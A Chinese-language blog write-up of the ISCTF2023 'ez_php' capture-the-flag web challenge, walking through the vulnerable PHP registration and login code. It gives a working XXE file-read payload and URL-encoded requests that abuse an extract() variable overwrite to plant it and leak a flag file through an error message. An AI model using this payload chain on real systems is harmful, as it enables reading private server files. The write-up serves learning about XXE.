[XXE]ISCTF2023-ez_php

发布于 2024-08-10  172 次阅读


ez_php

去年ISCTF新生赛的一道,补一下XXE
https://github.com/ISCTF/ISCTF2023_public/tree/master/web/ez_php

前置知识

XXE读文件的payload:

<?xml version='1.0'?>
    <!DOCTYPE userinfo [
    <!ENTITY xxe SYSTEM "file:///D:/flag.txt">
    ]>    
    <userinfo>
        <user>
            <username>&xxe;</username>
            <password>123</password>
        </user>
    </userinfo>

1.DTD:

    <!DOCTYPE userinfo [...]>    

代表文档类型定义,可以定义xml文件的一些结构和属性,包括定义实体变量
2.实体变量

<!ENTITY xxe SYSTEM "file:///D:/flag.txt">

在DTD中,声明了变量xxe。加了SYSTEM关键字表示从接下来这个uri去读取内容赋值给变量xxe。在正文中通过&xxe来引用。比如这里userinfo的user的username,在被解析后就设为了D:/flag.txt的内容。

wp

image_mak
一个小型php网站,先看注册的逻辑register.php

<?php
    include "utils/function.php";
    $config = include "utils/config.php";
    $user_xml_format = "<?xml version='1.0'?>
                        <userinfo>
                            <user>
                                <username>%s</username>
                                <password>%s</password>
                            </user>
                        </userinfo>";
    extract($_REQUEST);
    if(empty($username)||empty($password)) die("Username or password cannot be empty XD");

    if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");

    if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
    $user_xml = sprintf($user_xml_format, $username, $password);

    register_user($username, $config['user_info_dir'], $user_xml);

大致就是extract解析出username和password,先根据userinfo目录下是否已经存在指定用户名的xml文件名,然后把用username和password格式化后的xml字符串写到userinfo目录下,文件名为用户名.xml的文件中

然后看登陆的逻辑login.php

<?php
    include "utils/function.php";
    $config = include  "utils/config.php";
    $username = $_REQUEST['username'];
    $password = $_REQUEST['password'];
    if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
    if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
    $user_record = get_user_record($username, $config['user_info_dir']);
    if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
    header("Location:main.html");

跟进get_user_record函数:


    function get_user_record($username, $user_info_dir)
    {
        $user_info_xml = file_get_contents($user_info_dir.$username.'/'.$username.'.xml');
        $dom = new DOMDocument();
        $dom->loadXML($user_info_xml, LIBXML_NOENT | LIBXML_DTDLOAD);
        return simplexml_import_dom($dom);
    }

会返回指定用户信息的xml,包含注册时存下的username和password
登陆的时候会根据用户名访问指定的用户名.xml文件,判断输入的用户名密码是否和xml对象的用户名密码一致

解题思路

在register.php存在变量覆盖:

extract($_REQUEST);

因此可以覆盖$user_xml_format成我们的XXE payload:

<?xml version='1.0'?>
    <!DOCTYPE userinfo [
    <!ENTITY xxe SYSTEM "file:///D:/flag.txt">
    ]>    
    <userinfo>
        <user>
            <username>&xxe;</username>
            <password>123</password>
        </user>
    </userinfo>

注册的时候,会在userinfo/用户名.xml写入这个payload
回显点在login.php中,密码错误的地方:

if($user_record->user->password != $password) 
die("Password error for User:".$user_record->user->username);

这里会die出xml中解析出的username,而不是我们传参的username
因此,思路为:先在register.php传入任意的用户名、密码,并传入带payload的user_xml_format来变量覆盖
然后登陆的时候输入之前注册的用户名让靶机去解析我们的恶意payload,然后输错误的密码来让他把解析过后的flag在username中回显出来

payload:
注册:

127.0.0.1/register.php?username=54321&password=54321&user_xml_format=%3C%3Fxml%20version%3D%271%2E0%27%3F%3E%0A%20%20%20%20%3C%21DOCTYPE%20userinfo%20%5B%0A%20%20%20%20%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2FD%3A%2Fflag%2Etxt%22%3E%0A%20%20%20%20%5D%3E%20%20%20%20%0A%20%20%20%20%3Cuserinfo%3E%0A%20%20%20%20%20%20%20%20%3Cuser%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cusername%3E%26xxe%3B%3C%2Fusername%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cpassword%3E123%3C%2Fpassword%3E%0A%20%20%20%20%20%20%20%20%3C%2Fuser%3E%0A%20%20%20%20%3C%2Fuserinfo%3E%0A

登入:

http://127.0.0.1/login.php?username=54321&password=1

image_mak

A web ctfer from 0RAYS
最后更新于 2024-08-24